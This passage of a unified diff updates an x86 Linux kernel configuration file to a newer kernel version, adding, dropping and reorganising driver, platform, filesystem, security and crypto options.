CONFIG_UNIX98_PTYS=y # CONFIG_LEGACY_PTYS is not set -# CONFIG_LDISC_AUTOLOAD is not set +CONFIG_LDISC_AUTOLOAD=y # # Serial drivers @@ -1498,6 +1594,7 @@ CONFIG_SERIAL_8250_EXTENDED=y # CONFIG_SERIAL_8250_RT288X is not set # CONFIG_SERIAL_8250_LPSS is not set # CONFIG_SERIAL_8250_MID is not set +# CONFIG_SERIAL_8250_PERICOM is not set # # Non-8250 serial port support @@ -1522,7 +1619,6 @@ CONFIG_SERIAL_CORE_CONSOLE=y # CONFIG_N_GSM is not set # CONFIG_NOZOMI is not set # CONFIG_NULL_TTY is not set -# CONFIG_TRACE_SINK is not set CONFIG_HVC_DRIVER=y # CONFIG_SERIAL_DEV_BUS is not set CONFIG_TTY_PRINTK=y @@ -1541,9 +1637,7 @@ CONFIG_HW_RANDOM_VIRTIO=y # CONFIG_APPLICOM is not set # CONFIG_MWAVE is not set CONFIG_DEVMEM=y -# CONFIG_DEVKMEM is not set CONFIG_NVRAM=y -# CONFIG_RAW_DRIVER is not set CONFIG_DEVPORT=y # CONFIG_HPET is not set # CONFIG_HANGCHECK_TIMER is not set @@ -1551,6 +1645,8 @@ CONFIG_TCG_TPM=y # CONFIG_HW_RANDOM_TPM is not set CONFIG_TCG_TIS_CORE=y CONFIG_TCG_TIS=y +# CONFIG_TCG_TIS_I2C is not set +# CONFIG_TCG_TIS_I2C_CR50 is not set CONFIG_TCG_TIS_I2C_ATMEL=y CONFIG_TCG_TIS_I2C_INFINEON=y CONFIG_TCG_TIS_I2C_NUVOTON=y @@ -1563,10 +1659,10 @@ CONFIG_TCG_TIS_ST33ZP24=y CONFIG_TCG_TIS_ST33ZP24_I2C=y # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - +# CONFIG_XILLYUSB is not set CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1633,6 +1729,8 @@ CONFIG_I2C_SCMI=y # External I2C/SMBus adapter drivers # # CONFIG_I2C_DIOLAN_U2C is not set +# CONFIG_I2C_CP2615 is not set +# CONFIG_I2C_PCI1XXXX is not set # CONFIG_I2C_ROBOTFUZZ_OSIF is not set # CONFIG_I2C_TAOS_EVM is not set # CONFIG_I2C_TINY_USB is not set @@ -1641,6 +1739,7 @@ CONFIG_I2C_SCMI=y # Other I2C/SMBus bus drivers # # CONFIG_I2C_MLXCPLD is not set +# CONFIG_I2C_VIRTIO is not set # end of I2C Hardware Bus support # CONFIG_I2C_STUB is not set @@ -1662,6 +1761,7 @@ CONFIG_I2C_SLAVE=y # PTP clock support # # CONFIG_PTP_1588_CLOCK is not set +CONFIG_PTP_1588_CLOCK_OPTIONAL=y # # Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. @@ -1675,12 +1775,14 @@ CONFIG_I2C_SLAVE=y CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set # CONFIG_PDA_POWER is not set +# CONFIG_IP5XXX_POWER is not set # CONFIG_TEST_POWER is not set # CONFIG_CHARGER_ADP5061 is not set # CONFIG_BATTERY_CW2015 is not set # CONFIG_BATTERY_DS2780 is not set # CONFIG_BATTERY_DS2781 is not set # CONFIG_BATTERY_DS2782 is not set +# CONFIG_BATTERY_SAMSUNG_SDI is not set # CONFIG_BATTERY_SBS is not set # CONFIG_CHARGER_SBS is not set # CONFIG_BATTERY_BQ27XXX is not set @@ -1688,10 +1790,14 @@ CONFIG_POWER_SUPPLY=y # CONFIG_BATTERY_MAX17042 is not set # CONFIG_CHARGER_MAX8903 is not set # CONFIG_CHARGER_LP8727 is not set +# CONFIG_CHARGER_LTC4162L is not set +# CONFIG_CHARGER_MAX77976 is not set # CONFIG_CHARGER_BQ2415X is not set -# CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_GOLDFISH is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set +# CONFIG_BATTERY_UG3105 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y # CONFIG_THERMAL_NETLINK is not set @@ -1711,6 +1817,7 @@ CONFIG_THERMAL_GOV_USER_SPACE=y # Intel thermal drivers # # CONFIG_INTEL_POWERCLAMP is not set +CONFIG_X86_THERMAL_VECTOR=y CONFIG_X86_PKG_TEMP_THERMAL=y CONFIG_INTEL_SOC_DTS_IOSF_CORE=y # CONFIG_INTEL_SOC_DTS_THERMAL is not set @@ -1723,6 +1830,9 @@ CONFIG_ACPI_THERMAL_REL=y # end of ACPI INT340X thermal drivers CONFIG_INTEL_PCH_THERMAL=y +# CONFIG_INTEL_TCC_COOLING is not set +# CONFIG_INTEL_MENLOW is not set +# CONFIG_INTEL_HFI_THERMAL is not set # end of Intel thermal drivers # CONFIG_WATCHDOG is not set @@ -1755,6 +1865,7 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_LPC_SCH is not set # CONFIG_MFD_INTEL_LPSS_ACPI is not set # CONFIG_MFD_INTEL_LPSS_PCI is not set +# CONFIG_MFD_INTEL_PMC_BXT is not set # CONFIG_MFD_IQS62X is not set # CONFIG_MFD_JANZ_CMODIO is not set # CONFIG_MFD_KEMPLD is not set @@ -1769,19 +1880,21 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_MAX8997 is not set # CONFIG_MFD_MAX8998 is not set # CONFIG_MFD_MT6360 is not set +# CONFIG_MFD_MT6370 is not set # CONFIG_MFD_MT6397 is not set # CONFIG_MFD_MENF21BMC is not set # CONFIG_MFD_VIPERBOARD is not set # CONFIG_MFD_RETU is not set # CONFIG_MFD_PCF50633 is not set +# CONFIG_MFD_SY7636A is not set # CONFIG_MFD_RDC321X is not set +# CONFIG_MFD_RT4831 is not set # CONFIG_MFD_RT5033 is not set +# CONFIG_MFD_RT5120 is not set # CONFIG_MFD_RC5T583 is not set -# CONFIG_MFD_SEC_CORE is not set # CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set # CONFIG_MFD_SKY81452 is not set -# CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set @@ -1795,7 +1908,6 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_LP873X is not set # CONFIG_MFD_TPS6586X is not set # CONFIG_MFD_TPS65912_I2C is not set -# CONFIG_MFD_TPS80031 is not set # CONFIG_TWL4030_CORE is not set # CONFIG_TWL6040_CORE is not set # CONFIG_MFD_WL1273_CORE is not set @@ -1807,20 +1919,28 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_WM831X_I2C is not set # CONFIG_MFD_WM8350_I2C is not set # CONFIG_MFD_WM8994 is not set +# CONFIG_MFD_ATC260X_I2C is not set # end of Multifunction device drivers # CONFIG_REGULATOR is not set # CONFIG_RC_CORE is not set + +# +# CEC support +# # CONFIG_MEDIA_CEC_SUPPORT is not set +# end of CEC support + # CONFIG_MEDIA_SUPPORT is not set # # Graphics support # +CONFIG_APERTURE_HELPERS=y # CONFIG_AGP is not set -# CONFIG_VGA_ARB is not set # CONFIG_VGA_SWITCHEROO is not set # CONFIG_DRM is not set +# CONFIG_DRM_DEBUG_MODESET_LOCK is not set # # ARM devices @@ -1904,6 +2024,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION=y CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -1929,7 +2050,6 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_A4TECH is not set # CONFIG_HID_ACCUTOUCH is not set # CONFIG_HID_ACRUX is not set -# CONFIG_HID_APPLE is not set # CONFIG_HID_APPLEIR is not set # CONFIG_HID_AUREAL is not set # CONFIG_HID_BELKIN is not set @@ -1956,6 +2076,8 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_UCLOGIC is not set # CONFIG_HID_WALTOP is not set # CONFIG_HID_VIEWSONIC is not set +# CONFIG_HID_VRC2 is not set +# CONFIG_HID_XIAOMI is not set # CONFIG_HID_GYRATION is not set # CONFIG_HID_ICADE is not set # CONFIG_HID_ITE is not set @@ -1964,9 +2086,11 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_KENSINGTON is not set # CONFIG_HID_LCPOWER is not set # CONFIG_HID_LENOVO is not set +# CONFIG_HID_LETSKETCH is not set # CONFIG_HID_MAGICMOUSE is not set # CONFIG_HID_MALTRON is not set # CONFIG_HID_MAYFLASH is not set +# CONFIG_HID_MEGAWORLD_FF is not set # CONFIG_HID_REDRAGON is not set # CONFIG_HID_MICROSOFT is not set # CONFIG_HID_MONTEREY is not set @@ -1979,11 +2103,15 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_PETALYNX is not set # CONFIG_HID_PICOLCD is not set # CONFIG_HID_PLANTRONICS is not set +# CONFIG_HID_PXRC is not set +# CONFIG_HID_RAZER is not set # CONFIG_HID_PRIMAX is not set # CONFIG_HID_RETRODE is not set # CONFIG_HID_ROCCAT is not set # CONFIG_HID_SAITEK is not set # CONFIG_HID_SAMSUNG is not set +# CONFIG_HID_SEMITEK is not set +# CONFIG_HID_SIGMAMICRO is not set # CONFIG_HID_SPEEDLINK is not set # CONFIG_HID_STEAM is not set # CONFIG_HID_STEELSERIES is not set @@ -1993,6 +2121,7 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_SMARTJOYPLUS is not set # CONFIG_HID_TIVO is not set # CONFIG_HID_TOPSEED is not set +# CONFIG_HID_TOPRE is not set # CONFIG_HID_THRUSTMASTER is not set # CONFIG_HID_UDRAW_PS3 is not set # CONFIG_HID_WACOM is not set @@ -2021,7 +2150,7 @@ CONFIG_USB_HID=m # # I2C HID support # -# CONFIG_I2C_HID is not set +# CONFIG_I2C_HID_ACPI is not set # end of I2C HID support # @@ -2029,6 +2158,12 @@ CONFIG_USB_HID=m # # CONFIG_INTEL_ISH_HID is not set # end of Intel ISH HID support + +# +# AMD SFH HID Support +# +# CONFIG_AMD_SFH_HID is not set +# end of AMD SFH HID Support # end of HID support CONFIG_USB_OHCI_LITTLE_ENDIAN=y @@ -2115,7 +2250,7 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_MDC800 is not set # CONFIG_USB_MICROTEK is not set # CONFIG_USBIP_CORE is not set -# CONFIG_USB_CDNS3 is not set +# CONFIG_USB_CDNS_SUPPORT is not set # CONFIG_USB_MUSB_HDRC is not set # CONFIG_USB_DWC3 is not set # CONFIG_USB_DWC2 is not set @@ -2168,6 +2303,7 @@ CONFIG_USB_STORAGE=m # CONFIG_TYPEC is not set # CONFIG_USB_ROLE_SWITCH is not set # CONFIG_MMC is not set +# CONFIG_SCSI_UFSHCD is not set # CONFIG_MEMSTICK is not set # CONFIG_NEW_LEDS is not set # CONFIG_ACCESSIBILITY is not set @@ -2236,6 +2372,7 @@ CONFIG_RTC_I2C_AND_SPI=y # CONFIG_RTC_DRV_DS3232 is not set # CONFIG_RTC_DRV_PCF2127 is not set # CONFIG_RTC_DRV_RV3029C2 is not set +# CONFIG_RTC_DRV_RX6110 is not set # # Platform RTC drivers @@ -2264,6 +2401,7 @@ CONFIG_RTC_DRV_CMOS=y # # HID Sensor RTC drivers # +# CONFIG_RTC_DRV_GOLDFISH is not set # CONFIG_DMADEVICES is not set # @@ -2272,15 +2410,20 @@ CONFIG_RTC_DRV_CMOS=y CONFIG_SYNC_FILE=y # CONFIG_SW_SYNC is not set # CONFIG_DMABUF_MOVE_NOTIFY is not set +# CONFIG_DMABUF_DEBUG is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set +# CONFIG_DMABUF_SYSFS_STATS is not set # end of DMABUF options # CONFIG_AUXDISPLAY is not set # CONFIG_UIO is not set # CONFIG_VFIO is not set # CONFIG_VIRT_DRIVERS is not set +CONFIG_VIRTIO_ANCHOR=y CONFIG_VIRTIO=y +CONFIG_VIRTIO_PCI_LIB=y +CONFIG_VIRTIO_PCI_LIB_LEGACY=y CONFIG_VIRTIO_MENU=y CONFIG_VIRTIO_PCI=y CONFIG_VIRTIO_PCI_LEGACY=y @@ -2300,13 +2443,62 @@ CONFIG_VHOST_MENU=y # end of Microsoft Hyper-V guest support # CONFIG_GREYBUS is not set +# CONFIG_COMEDI is not set # CONFIG_STAGING is not set -# CONFIG_X86_PLATFORM_DEVICES is not set -CONFIG_PMC_ATOM=y # CONFIG_CHROME_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set +# CONFIG_SURFACE_PLATFORMS is not set +CONFIG_X86_PLATFORM_DEVICES=y +# CONFIG_ACPI_WMI is not set +# CONFIG_ACERHDF is not set +# CONFIG_ACER_WIRELESS is not set +# CONFIG_AMD_PMF is not set +# CONFIG_AMD_PMC is not set +# CONFIG_AMD_HSMP is not set +# CONFIG_ADV_SWBUTTON is not set +# CONFIG_ASUS_WIRELESS is not set +# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set +# CONFIG_FUJITSU_TABLET is not set +# CONFIG_GPD_POCKET_FAN is not set +# CONFIG_HP_ACCEL is not set +# CONFIG_WIRELESS_HOTKEY is not set +# CONFIG_IBM_RTL is not set +# CONFIG_SENSORS_HDAPS is not set +# CONFIG_INTEL_SAR_INT1092 is not set +# CONFIG_INTEL_PMC_CORE is not set + +# +# Intel Speed Select Technology interface support +# +# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set +# end of Intel Speed Select Technology interface support + +# +# Intel Uncore Frequency Control +# +# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set +# end of Intel Uncore Frequency Control + +# CONFIG_INTEL_HID_EVENT is not set +# CONFIG_INTEL_VBTN is not set +# CONFIG_INTEL_PUNIT_IPC is not set +# CONFIG_INTEL_RST is not set +# CONFIG_INTEL_SMARTCONNECT is not set +# CONFIG_INTEL_TURBO_MAX_3 is not set +# CONFIG_INTEL_VSEC is not set +# CONFIG_SAMSUNG_Q10 is not set +# CONFIG_TOSHIBA_BT_RFKILL is not set +# CONFIG_TOSHIBA_HAPS is not set +# CONFIG_ACPI_CMPC is not set +# CONFIG_TOPSTAR_LAPTOP is not set +# CONFIG_MLX_PLATFORM is not set +# CONFIG_INTEL_IPS is not set +# CONFIG_INTEL_SCU_PCI is not set +# CONFIG_INTEL_SCU_PLATFORM is not set +# CONFIG_SIEMENS_SIMATIC_IPC is not set +# CONFIG_WINMATE_FM07_KEYS is not set +CONFIG_P2SB=y CONFIG_HAVE_CLK=y -CONFIG_CLKDEV_LOOKUP=y CONFIG_HAVE_CLK_PREPARE=y CONFIG_COMMON_CLK=y # CONFIG_COMMON_CLK_MAX9485 is not set @@ -2315,6 +2507,7 @@ CONFIG_COMMON_CLK=y # CONFIG_COMMON_CLK_SI544 is not set # CONFIG_COMMON_CLK_CDCE706 is not set # CONFIG_COMMON_CLK_CS2000_CP is not set +# CONFIG_XILINX_VCU is not set # CONFIG_HWSPINLOCK is not set # @@ -2336,9 +2529,12 @@ CONFIG_IOMMU_SUPPORT=y # # Generic IOMMU Pagetable Support # +CONFIG_IOMMU_IO_PGTABLE=y # end of Generic IOMMU Pagetable Support # CONFIG_IOMMU_DEBUGFS is not set +# CONFIG_IOMMU_DEFAULT_DMA_STRICT is not set +CONFIG_IOMMU_DEFAULT_DMA_LAZY=y # CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set CONFIG_IOMMU_DMA=y CONFIG_AMD_IOMMU=y @@ -2350,6 +2546,7 @@ CONFIG_INTEL_IOMMU_DEFAULT_ON=y CONFIG_INTEL_IOMMU_FLOPPY_WA=y # CONFIG_INTEL_IOMMU_SCALABLE_MODE_DEFAULT_ON is not set CONFIG_IRQ_REMAP=y +# CONFIG_VIRTIO_IOMMU is not set # # Remoteproc drivers @@ -2375,11 +2572,6 @@ CONFIG_IRQ_REMAP=y # # end of Amlogic SoC drivers -# -# Aspeed SoC drivers -# -# end of Aspeed SoC drivers - # # Broadcom SoC drivers # @@ -2390,11 +2582,21 @@ CONFIG_IRQ_REMAP=y # # end of NXP/Freescale QorIQ SoC drivers +# +# fujitsu SoC drivers +# +# end of fujitsu SoC drivers + # # i.MX SoC drivers # # end of i.MX SoC drivers +# +# Enable LiteX SoC Builder specific drivers +# +# end of Enable LiteX SoC Builder specific drivers + # # Qualcomm SoC drivers # @@ -2405,7 +2607,6 @@ CONFIG_IRQ_REMAP=y # # Xilinx SoC drivers # -# CONFIG_XILINX_VCU is not set # end of Xilinx SoC drivers # end of SOC (System On Chip) specific Drivers @@ -2414,7 +2615,6 @@ CONFIG_IRQ_REMAP=y # CONFIG_MEMORY is not set # CONFIG_IIO is not set # CONFIG_NTB is not set -# CONFIG_VME_BUS is not set # CONFIG_PWM is not set # @@ -2430,7 +2630,14 @@ CONFIG_IRQ_REMAP=y # CONFIG_GENERIC_PHY=y # CONFIG_USB_LGM_PHY is not set +# CONFIG_PHY_CAN_TRANSCEIVER is not set + +# +# PHY drivers for Broadcom platforms +# # CONFIG_BCM_KONA_USB2_PHY is not set +# end of PHY drivers for Broadcom platforms + # CONFIG_PHY_PXA_28NM_HSIC is not set # CONFIG_PHY_PXA_28NM_USB2 is not set # CONFIG_PHY_INTEL_LGM_EMMC is not set @@ -2450,16 +2657,16 @@ CONFIG_GENERIC_PHY=y # # Android # -# CONFIG_ANDROID is not set +# CONFIG_ANDROID_BINDER_IPC is not set # end of Android CONFIG_LIBNVDIMM=y # CONFIG_BLK_DEV_PMEM is not set -# CONFIG_ND_BLK is not set # CONFIG_BTT is not set CONFIG_DAX=y CONFIG_NVMEM=y -CONFIG_NVMEM_SYSFS=y +# CONFIG_NVMEM_SYSFS is not set +# CONFIG_NVMEM_RMEM is not set # # HW tracing support @@ -2470,12 +2677,13 @@ CONFIG_NVMEM_SYSFS=y # CONFIG_FPGA is not set # CONFIG_TEE is not set -# CONFIG_UNISYS_VISORBUS is not set # CONFIG_SIOX is not set # CONFIG_SLIMBUS is not set # CONFIG_INTERCONNECT is not set # CONFIG_COUNTER is not set # CONFIG_MOST is not set +# CONFIG_PECI is not set +# CONFIG_HTE is not set # end of Device Drivers # @@ -2509,11 +2717,9 @@ CONFIG_XFS_SUPPORT_V4=y # CONFIG_BTRFS_FS is not set # CONFIG_NILFS2_FS is not set # CONFIG_F2FS_FS is not set -# CONFIG_FS_DAX is not set CONFIG_EXPORTFS=y # CONFIG_EXPORTFS_BLOCK_OPS is not set CONFIG_FILE_LOCKING=y -CONFIG_MANDATORY_FILE_LOCKING=y # CONFIG_FS_ENCRYPTION is not set # CONFIG_FS_VERITY is not set # CONFIG_DNOTIFY is not set @@ -2552,6 +2758,7 @@ CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" CONFIG_EXFAT_FS=y CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_NTFS_FS is not set +# CONFIG_NTFS3_FS is not set # end of DOS/FAT/EXFAT/NT Filesystems # @@ -2567,13 +2774,18 @@ CONFIG_KERNFS=y CONFIG_SYSFS=y # CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set +CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y CONFIG_CONFIGFS_FS=y CONFIG_EFIVAR_FS=m # end of Pseudo filesystems # CONFIG_MISC_FILESYSTEMS is not set -# CONFIG_NETWORK_FILESYSTEMS is not set +CONFIG_NETWORK_FILESYSTEMS=y +# CONFIG_CEPH_FS is not set +# CONFIG_CIFS is not set +# CONFIG_CODA_FS is not set +# CONFIG_AFS_FS is not set CONFIG_NLS=y CONFIG_NLS_DEFAULT="utf8" CONFIG_NLS_CODEPAGE_437=y @@ -2636,12 +2848,9 @@ CONFIG_IO_WQ=y # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set CONFIG_SECURITYFS=y -CONFIG_PAGE_TABLE_ISOLATION=y # CONFIG_INTEL_TXT is not set CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y -CONFIG_HARDENED_USERCOPY_FALLBACK=y -# CONFIG_HARDENED_USERCOPY_PAGESPAN is not set # CONFIG_FORTIFY_SOURCE is not set # CONFIG_STATIC_USERMODEHELPER is not set # CONFIG_IMA_SECURE_AND_OR_TRUSTED_BOOT is not set @@ -2656,9 +2865,17 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization + +CONFIG_RANDSTRUCT_NONE=y +# CONFIG_RANDSTRUCT_FULL is not set +# CONFIG_RANDSTRUCT_PERFORMANCE is not set # end of Kernel hardening options # end of Security options @@ -2691,7 +2908,7 @@ CONFIG_CRYPTO_CRYPTD=y CONFIG_CRYPTO_AUTHENC=y # CONFIG_CRYPTO_TEST is not set CONFIG_CRYPTO_SIMD=y -CONFIG_CRYPTO_GLUE_HELPER_X86=y +# end of Crypto core or helper # # Public-key cryptography @@ -2699,114 +2916,90 @@ CONFIG_CRYPTO_GLUE_HELPER_X86=y # CONFIG_CRYPTO_RSA is not set # CONFIG_CRYPTO_DH is not set # CONFIG_CRYPTO_ECDH is not set +# CONFIG_CRYPTO_ECDSA is not set # CONFIG_CRYPTO_ECRDSA is not set # CONFIG_CRYPTO_SM2 is not set # CONFIG_CRYPTO_CURVE25519 is not set -# CONFIG_CRYPTO_CURVE25519_X86 is not set +# end of Public-key cryptography # -# Authenticated Encryption with Associated Data +# Block ciphers # -# CONFIG_CRYPTO_CCM is not set -# CONFIG_CRYPTO_GCM is not set -# CONFIG_CRYPTO_CHACHA20POLY1305 is not set -# CONFIG_CRYPTO_AEGIS128 is not set -# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set -# CONFIG_CRYPTO_SEQIV is not set -# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_AES=y +# CONFIG_CRYPTO_AES_TI is not set +# CONFIG_CRYPTO_ARIA is not set +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST6 is not set +# CONFIG_CRYPTO_DES is not set +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_SERPENT is not set +# CONFIG_CRYPTO_SM4_GENERIC is not set +# CONFIG_CRYPTO_TWOFISH is not set +# end of Block ciphers # -# Block modes +# Length-preserving ciphers and modes # +# CONFIG_CRYPTO_ADIANTUM is not set +# CONFIG_CRYPTO_CHACHA20 is not set CONFIG_CRYPTO_CBC=y # CONFIG_CRYPTO_CFB is not set # CONFIG_CRYPTO_CTR is not set # CONFIG_CRYPTO_CTS is not set CONFIG_CRYPTO_ECB=y +# CONFIG_CRYPTO_HCTR2 is not set +# CONFIG_CRYPTO_KEYWRAP is not set # CONFIG_CRYPTO_LRW is not set # CONFIG_CRYPTO_OFB is not set # CONFIG_CRYPTO_PCBC is not set CONFIG_CRYPTO_XTS=y -# CONFIG_CRYPTO_KEYWRAP is not set -# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set -# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set -# CONFIG_CRYPTO_ADIANTUM is not set -CONFIG_CRYPTO_ESSIV=y +# end of Length-preserving ciphers and modes # -# Hash modes +# AEAD (authenticated encryption with associated data) ciphers # -# CONFIG_CRYPTO_CMAC is not set -CONFIG_CRYPTO_HMAC=y -# CONFIG_CRYPTO_XCBC is not set -# CONFIG_CRYPTO_VMAC is not set +# CONFIG_CRYPTO_AEGIS128 is not set +# CONFIG_CRYPTO_CHACHA20POLY1305 is not set +# CONFIG_CRYPTO_CCM is not set +# CONFIG_CRYPTO_GCM is not set +# CONFIG_CRYPTO_SEQIV is not set +# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_ESSIV=y +# end of AEAD (authenticated encryption with associated data) ciphers # -# Digest +# Hashes, digests, and MACs # -CONFIG_CRYPTO_CRC32C=y -CONFIG_CRYPTO_CRC32C_INTEL=y -# CONFIG_CRYPTO_CRC32 is not set -# CONFIG_CRYPTO_CRC32_PCLMUL is not set -# CONFIG_CRYPTO_XXHASH is not set # CONFIG_CRYPTO_BLAKE2B is not set -# CONFIG_CRYPTO_BLAKE2S is not set -# CONFIG_CRYPTO_BLAKE2S_X86 is not set -# CONFIG_CRYPTO_CRCT10DIF is not set +# CONFIG_CRYPTO_CMAC is not set # CONFIG_CRYPTO_GHASH is not set -# CONFIG_CRYPTO_POLY1305 is not set -# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_HMAC=y # CONFIG_CRYPTO_MD4 is not set CONFIG_CRYPTO_MD5=y # CONFIG_CRYPTO_MICHAEL_MIC is not set -# CONFIG_CRYPTO_RMD128 is not set +# CONFIG_CRYPTO_POLY1305 is not set # CONFIG_CRYPTO_RMD160 is not set -# CONFIG_CRYPTO_RMD256 is not set -# CONFIG_CRYPTO_RMD320 is not set CONFIG_CRYPTO_SHA1=y -CONFIG_CRYPTO_SHA1_SSSE3=y -CONFIG_CRYPTO_SHA256_SSSE3=y -CONFIG_CRYPTO_SHA512_SSSE3=y CONFIG_CRYPTO_SHA256=y CONFIG_CRYPTO_SHA512=y # CONFIG_CRYPTO_SHA3 is not set -# CONFIG_CRYPTO_SM3 is not set +# CONFIG_CRYPTO_SM3_GENERIC is not set # CONFIG_CRYPTO_STREEBOG is not set -# CONFIG_CRYPTO_TGR192 is not set +# CONFIG_CRYPTO_VMAC is not set # CONFIG_CRYPTO_WP512 is not set -# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +# CONFIG_CRYPTO_XCBC is not set +# CONFIG_CRYPTO_XXHASH is not set +# end of Hashes, digests, and MACs # -# Ciphers +# CRCs (cyclic redundancy checks) # -CONFIG_CRYPTO_AES=y -# CONFIG_CRYPTO_AES_TI is not set -CONFIG_CRYPTO_AES_NI_INTEL=y -# CONFIG_CRYPTO_BLOWFISH is not set -# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA is not set -# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set -# CONFIG_CRYPTO_CAST5 is not set -# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set -# CONFIG_CRYPTO_CAST6 is not set -# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set -# CONFIG_CRYPTO_DES is not set -# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set -# CONFIG_CRYPTO_FCRYPT is not set -# CONFIG_CRYPTO_SALSA20 is not set -# CONFIG_CRYPTO_CHACHA20 is not set -# CONFIG_CRYPTO_CHACHA20_X86_64 is not set -# CONFIG_CRYPTO_SERPENT is not set -# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set -# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set -# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set -# CONFIG_CRYPTO_SM4 is not set -# CONFIG_CRYPTO_TWOFISH is not set -# CONFIG_CRYPTO_TWOFISH_X86_64 is not set -# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set -# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +CONFIG_CRYPTO_CRC32C=y +# CONFIG_CRYPTO_CRC32 is not set +# CONFIG_CRYPTO_CRCT10DIF is not set +# end of CRCs (cyclic redundancy checks) # # Compression @@ -2817,13 +3010,19 @@ CONFIG_CRYPTO_AES_NI_INTEL=y # CONFIG_CRYPTO_LZ4 is not set # CONFIG_CRYPTO_LZ4HC is not set # CONFIG_CRYPTO_ZSTD is not set +# end of Compression # -# Random Number Generation +# Random number generation # # CONFIG_CRYPTO_ANSI_CPRNG is not set # CONFIG_CRYPTO_DRBG_MENU is not set # CONFIG_CRYPTO_JITTERENTROPY is not set +# end of Random number generation + +# +# Userspace interface +# CONFIG_CRYPTO_USER_API=y CONFIG_CRYPTO_USER_API_HASH=y CONFIG_CRYPTO_USER_API_SKCIPHER=y @@ -2831,19 +3030,47 @@ CONFIG_CRYPTO_USER_API_RNG=y CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set +# end of Userspace interface + CONFIG_CRYPTO_HASH_INFO=y # -# Crypto library routines +# Accelerated Cryptographic Algorithms for CPU (x86) # -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# 